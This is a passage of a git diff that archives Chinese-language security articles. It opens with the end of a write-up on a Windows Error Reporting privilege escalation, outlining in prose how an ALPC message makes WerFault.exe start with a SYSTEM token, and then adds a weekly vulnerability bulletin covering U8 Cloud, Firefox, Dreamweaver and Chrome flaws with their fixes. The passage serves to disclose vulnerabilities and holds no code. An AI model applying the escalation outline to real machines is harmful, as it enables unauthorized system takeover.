发送 ALPC 消息（方法 0x0D）使用方法 0x0D 发送 ALPC 消息，包括客户端进程 ID、共享内存句柄和确切的命令行长度。
触发命令执行WER 服务复制句柄并使用提供的命令行启动 WerFault.exe。
+由于 WER 服务以高权限级别运行，因此新生成的进程继承了 SYSTEM 令牌。 + +此令牌包含危险权限，例如 SeDebugPrivilege（允许调试任何进程）和 SeImpersonatePrivilege（允许模拟任何用户）。 + +虽然SeTcbPrivilege并未被授予作为操作系统一部分的权限，但所获得的权限仍然提供了完整的系统访问权限。 + +该漏洞影响范围广泛，包括2026年1月之前的所有Windows 10和Windows 11版本，以及运行Windows Server 2019和Windows Server 2022的企业服务器环境。 + +微软在2026 年 1 月的安全更新中正式解决了这个漏洞。 + +根据 GitHub 上发布的 PoC，强烈建议组织和系统管理员立即应用最新的安全补丁来保护其网络安全。 + diff --git a/doc/2026-03/雷神众测漏洞周报2026.2.9-2026.3.1.md b/doc/2026-03/雷神众测漏洞周报2026.2.9-2026.3.1.md new file mode 100644 index 00000000..fc64c911 --- /dev/null +++ b/doc/2026-03/雷神众测漏洞周报2026.2.9-2026.3.1.md @@ -0,0 +1,169 @@ +# 雷神众测漏洞周报2026.2.9-2026.3.1 +原创 雷神众测 + 雷神众测 雷神众测 2026-03-03 07:26 + +摘要 + + +以下内容，均摘自于互联网，由于传播，利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人负责，雷神众测以及文章作者不承担任何责任。 + + +雷神众测拥有该文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的副本，包括版权声明等全部内容。声明雷神众测允许，不得任意修改或增减此文章内容，不得以任何方式将其用于商业目的。 + + +目录 + +**** +**1.用友网络科技股份有限公司U8 Cloud存在远程代码执行漏洞** + +**2.Mozilla Firefox代码执行漏洞** + +**3.Adobe Dreamweaver授权问题漏洞** + +**4.Google Chrome代码执行漏洞** + + +漏洞详情 + +**1.用友网络科技股份有限公司U8 Cloud存在远程代码执行漏洞** + + +漏洞介绍： + +U8 Cloud是用友推出的一款新一代云ERP（企业资源计划）解决方案，主要面向成长型和创新型企业，旨在提供全面的企业级云ERP整体解决方案。 + + +漏洞危害： + +用友网络科技股份有限公司U8 Cloud存在远程代码执行漏洞，攻击者可利用漏洞远程执行命令，获取服务器权限。 + + +影响范围： + +用友网络科技股份有限公司 U8 Cloud + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源: +CNVD + +**2.Mozilla Firefox代码执行漏洞** + + +漏洞介绍： + +Mozilla Firefox是美国Mozilla基金会的一款开源Web浏览器。 + + +漏洞危害： + +Mozilla Firefox存在代码执行漏洞，该漏洞是由于布局：滚动和溢出组件中的释放后使用造成的。攻击者可利用该漏洞在系统上执行任意代码。 + + +漏洞编号： + +CVE-2026-24869 + + +影响范围： + +Mozilla Firefox <147.0.2 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源： +CNVD + + +**3.Adobe Dreamweaver授权问题漏洞** + + +漏洞介绍： + +Adobe Dreamweaver是Adobe公司开发的一款专业网页代码编辑器和网站开发工具。 + + +漏洞危害： + +Adobe Dreamweaver存在授权问题漏洞，攻击者可利用该漏洞在系统上执行任意代码。 + + +漏洞编号： + +CVE-2026-21274 + + +影响范围： + +Adobe Dreamweaver  <=21.6 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源： +CNVD + +**4.Google Chrome代码执行漏洞** + + +漏洞介绍： + +Google Chrome是美国谷歌（Google）公司的一款Web浏览器。 + + +漏洞危害： + +Google Chrome存在代码执行漏洞，该漏洞是由ANGLE中的免费使用引起的。攻击者可利用该漏洞在系统上执行任意代码。 + + +漏洞编号： + +CVE-2026-0908 + + +影响范围： + +Google Chrome(Linux) <144.0.7559.59 + +Google Chrome(Mac) <144.0.7559.60 + +Google Chrome(Windows) <144.0.7559.59 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源： +CNVD + + + + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/V2X9n7vzLP34n3KBia5YJTq45gRK1DCW1DhSkpUv4NqKX77WUqvIFt4Q9AQkOZIAKDCqhXgnsrrZPkHg7wvhMFeTtyPL8gU56ibwIKOd5ClP8/640?wx_fmt=jpeg&from=appmsg "") + +专注渗透测试技术 + +全球最新网络攻击技术 + + +**END** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/V2X9n7vzLP2mRqHibZq015neib7U1ZibYibgQpfbgy5jSFfRV4VORrcHicDpCL2RbBsBjO8pIuvs2CqUyUDXWBakGanGehvHwMAibNIicny7Un2hGo/640?wx_fmt=jpeg&from=appmsg "") + + +